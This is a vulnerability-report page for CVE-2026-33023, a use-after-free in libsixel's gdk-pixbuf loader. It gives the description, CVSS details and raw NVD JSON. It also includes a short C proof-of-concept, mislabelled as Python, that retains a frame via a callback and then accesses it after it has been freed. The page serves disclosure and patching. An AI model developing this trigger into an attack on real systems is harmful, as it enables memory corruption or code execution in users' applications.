Security Vulnerability Report
中文
CVE-2026-33023 CVSS 7.8 HIGH

CVE-2026-33023

Published: 2026-04-14 23:16:28
Last Modified: 2026-04-23 14:46:47

Description

libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. In versions 1.8.7 and prior, when built with the --with-gdk-pixbuf2 option, a use-after-free vulnerability exists in load_with_gdkpixbuf() in loader.c. The cleanup path manually frees the sixel_frame_t object and its internal buffers without consulting the reference count, even though the object was created via the refcounted constructor sixel_frame_new() and exposed to the public callback. A callback that calls sixel_frame_ref(frame) to retain a logically valid reference will hold a dangling pointer after sixel_helper_load_image_file() returns, and any subsequent access to the frame or its fields triggers a use-after-free confirmed by AddressSanitizer. The root cause is a consistency failure between two cleanup strategies in the same codebase: sixel_frame_unref() is used in load_with_builtin() but raw free() is used in load_with_gdkpixbuf(). An attacker supplying a crafted image to any application built against libsixel with gdk-pixbuf2 support can trigger this reliably, potentially leading to information disclosure, memory corruption, or code execution. This issue has been fixed in version 1.8.7-r1.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:saitoha:libsixel:*:*:*:*:*:*:*:* - VULNERABLE
libsixel <= 1.8.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <libsixel.h> #include <stdio.h> // Global pointer to simulate the dangling reference sixel_frame_t *global_frame = NULL; // Callback function intended to retain the frame int malicious_callback(sixel_frame_t *frame, void *data) { printf("Callback invoked. Incrementing reference count.\n"); // The callback increments the ref count, expecting the object to stay alive sixel_frame_ref(frame); // Store the pointer for later use global_frame = frame; return 0; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "Usage: %s <crafted_image.six>\n", argv[0]); return 1; } printf("Loading crafted image...\n"); // This function calls load_with_gdkpixbuf which triggers the bug // It creates the frame, calls the callback, then incorrectly frees the frame. int result = sixel_helper_load_image_file(argv[1], malicious_callback, NULL); if (result != 0) { printf("Load failed (expected).\n"); } // At this point, load_with_gdkpixbuf has returned and free()'d the frame. // However, global_frame still points to the freed memory. printf("Attempting to access the freed frame...\n"); if (global_frame) { // This access triggers the Use-After-Free // Depending on the allocator state, this may crash or lead to code execution int width = sixel_frame_get_width(global_frame); printf("Frame width: %d (Crash or corruption likely occurred here)\n", width); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33023", "sourceIdentifier": "[email protected]", "published": "2026-04-14T23:16:27.820", "lastModified": "2026-04-23T14:46:46.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. In versions 1.8.7 and prior, when built with the --with-gdk-pixbuf2 option, a use-after-free vulnerability exists in load_with_gdkpixbuf() in loader.c. The cleanup path manually frees the sixel_frame_t object and its internal buffers without consulting the reference count, even though the object was created via the refcounted constructor sixel_frame_new() and exposed to the public callback. A callback that calls sixel_frame_ref(frame) to retain a logically valid reference will hold a dangling pointer after sixel_helper_load_image_file() returns, and any subsequent access to the frame or its fields triggers a use-after-free confirmed by AddressSanitizer. The root cause is a consistency failure between two cleanup strategies in the same codebase: sixel_frame_unref() is used in load_with_builtin() but raw free() is used in load_with_gdkpixbuf(). An attacker supplying a crafted image to any application built against libsixel with gdk-pixbuf2 support can trigger this reliably, potentially leading to information disclosure, memory corruption, or code execution. This issue has been fixed in version 1.8.7-r1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saitoha:libsixel:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.8.7", "matchCriteriaId": "49AAE0F5-8747-4FA0-9E7F-37FC054A3198"}]}]}], "references": [{"url": "https://github.com/saitoha/libsixel/releases/tag/v1.8.7-r1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/saitoha/libsixel/security/advisories/GHSA-hr25-g2j6-qjw6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/saitoha/libsixel/security/advisories/GHSA-hr25-g2j6-qjw6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}